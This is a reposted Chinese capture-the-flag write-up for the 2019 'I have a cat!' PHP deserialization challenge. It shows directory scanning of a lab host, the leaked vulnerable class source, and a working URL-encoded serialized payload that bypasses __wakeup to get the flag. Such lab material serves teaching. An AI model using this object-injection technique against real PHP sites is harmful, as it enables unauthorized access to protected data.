欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 科技 > 名人名企 > 反序列化-极客大挑战2019php【I have a cat!】

反序列化-极客大挑战2019php【I have a cat!】

2024/11/30 8:42:15 来源:https://blog.csdn.net/XiaoYeZhu_1314/article/details/140671828  浏览:    关键词:反序列化-极客大挑战2019php【I have a cat!】

知道这个题考的是反序列化,那么我们第一反应该拿到他的源码。

根据这句话判断【因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯 不愧是我!!! 】说明有目录

我们直接使用dir开扫,发现有压缩文件【发现是429是因为访问人数过多寄掉了,从新开一个就好了】

 python dirsearch.py -u http://7d464724-7bc7-4ea0-af57-391cb28fedd1.node5.buuoj.cn:81/ -e .txt,php,html,json

那我们直接访问这个,并下载,说不定就是源码呢?

解压发现它里面有index.php、class.php,进去查看一下【flag试过了,不对】

 index.php​<!DOCTYPE html><head><meta charset="UTF-8"><title>I have a cat!</title><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"><link rel="stylesheet" href="style.css"></head><style>#login{   position: absolute;   top: 50%;   left:50%;   margin: -150px 0 0 -150px;   width: 300px;   height: 300px;   }   h4{   font-size: 2em;   margin: 0.67em 0;   }</style><body>
 class.php​<?phpinclude 'flag.php';​​error_reporting(0);​​class Name{private $username = 'nonono';private $password = 'yesyes';​public function __construct($username,$password){$this->username = $username;$this->password = $password;}​function __wakeup(){$this->username = 'guest';}​function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();​}}}?>

分析:index里面没有太大的信息,class里面【直接丢进chat gtp】得到了flag的关键信息

 类 Name 的关键部分__wakeup() :当对象从序列化字符串中恢复时调用,它会将$username的值重置为'guest'。__destruct() :当对象被销毁时调用。它首先检查$password是否不等于100,如果不是,则输出当前的用户名和密码。如果$username是'admin',则输出全局变量$flag的值。总结:获得flag需绕过__wakeup,并且满足password=100,username==='admin' 

接下来我们进行构造

 <?phpclass Name{private $username ='admin';private $password = '100';}$select =new Name();$res = serialize($select);echo $res;//echo urlencode($res);
 
运行结果:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
把空格【就是那个方格子】替换为%00

在这里当修改的属性(变量)数大于实际的个数时,就可以绕过 wakeup了【其实就是将2改为3,绕过__wakeup()而已】

 O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}最后这一步要编译一哈?select=O%3A4%3A"Name"%3A3%3A{s%3A14%3A"%00Name%00username"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"%00Name%00password"%3Bs%3A3%3A"100"%3B}


 flag{b0b9ceb2-4aac-4714-821c-1b4554d0acd1}

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com